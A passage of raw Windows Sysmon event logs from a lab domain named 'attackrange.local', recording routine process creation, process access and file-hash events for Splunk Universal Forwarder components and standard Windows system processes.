Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D250D78BAA5CB8435361473018D6E56F,SHA256=29FB46D82ABC2B926ACE32C75C1AA16C2910E2A3F6D776D1BE460602F164238E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:19.784{7BD73061-70E7-613B-1B0B-00000000F001}51806912C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:19.565{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DBA85F8BF0F6C1F625F243B085BD87E9,SHA256=FB8D3C63E1B5211F68C3EC9FBD93014B36F6418F81A93E84742FD0E152CBED02,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:19.518{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-70E7-613B-1B0B-00000000F001}5180C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:19.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:19.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:19.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:19.518{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-70E7-613B-1B0B-00000000F001}5180C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:19.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:19.518{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-70E7-613B-1B0B-00000000F001}5180C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:19.519{7BD73061-70E7-613B-1B0B-00000000F001}5180C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015070Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:20.830{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7F030E24746D70F611D556A9C87544AB,SHA256=9C5971BD4B57CF3B7FB5139ACB6CCB2969FE8F930C951707243D713F0168C7BD,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.784{7BD73061-70E8-613B-1D0B-00000000F001}29125948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.628{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=8695921453740A74941FEEC56C629313,SHA256=B21927F591B354D897D9DACB853C61B35695F7B13F9E5C25267B8B946FFB057E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.581{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CA8AD6D0E52ADC2BE5C46EDE7F81C638,SHA256=05AA89349FFC11E54F62C2DB67ABD27B8ED8BB07A5673B89420EF07EA3AC59A7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015069Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:19.515{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50202-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000047494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.518{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-70E8-613B-1D0B-00000000F001}2912C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.518{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-70E8-613B-1D0B-00000000F001}2912C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.518{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-70E8-613B-1D0B-00000000F001}2912C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.519{7BD73061-70E8-613B-1D0B-00000000F001}2912C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000047486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.299{7BD73061-70E8-613B-1C0B-00000000F001}68241032C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.018{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-70E8-613B-1C0B-00000000F001}6824C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.018{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.018{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.018{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.018{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.018{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-70E8-613B-1C0B-00000000F001}6824C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.018{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-70E8-613B-1C0B-00000000F001}6824C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program 